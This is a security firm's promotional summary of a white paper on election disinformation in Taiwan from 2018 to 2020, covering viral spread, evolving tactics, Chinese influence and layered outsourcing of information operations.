The ubiquity of social media has altered the way people consume information, which in turn dramatically changed the way electoral campaigns are run. From the 2018 municipal elections to the 2020 general elections, Taiwan has witnessed the growing threat of disinformation to the citizens. It was observed that many malicious actors utilized social media to disseminate a huge amount of fake news, false information, and hate speech. These disinformation are like highly contagious viruses that will not only affect the people consuming them, but also make them secondary disseminators. We assess that:

## 1. Virus-like disinformation makes everyone on social media both victim and disseminator

   Although public discussion is the cornerstone of a good democratic society, many attacks have used voter enthusiasm to spread on social media. We have observed that many of the voters who participated in the discussion turned out to be the source of dissemination.

## 2. Disinformation continues to evolve in tactics and quantity, as well as expanding its targets

   The Taiwanese Central Election Commission (CEC) stated that the number of disinformation cases before the 2020 elections reached an unprecedented level. In addition to the evolution in quantity and tactics, we observed that the dissemination of disinformation did not stop even after the election, but instead shifted the target.

## 3. China continues to increase its influence

   Apart from news agency promoting the Chinese policies, inauthentic accounts run by bot, and patriotic netizens (A.K.A little pink), China has stepped up its influence on social media platforms to shape narratives.

## 4. Information operations are outsourced, layer-by-layer

   Before the elections, a number of marketing firms and new media were established to spread political messages. We discovered that some of them have connections with certain political parties, implying the layer-by-layer outsourcing of Information Operations by politically motivated actors.

From the perspective of security researchers, we integrated the Information Operations intercepted and investigated by TeamT5 over the past two years, hoping to contribute to the next democratic election.

If you are interested in this white paper, please fill out the form, and we will send you the report by email.

COMING UP NEXT: We will publish reports about how China conduct Information Operation on social media platforms, targeting domestic citizens and foreign audiences. If you don't want to miss our next report, follow us on [Twitter](https://twitter.com/TeamT5_Official).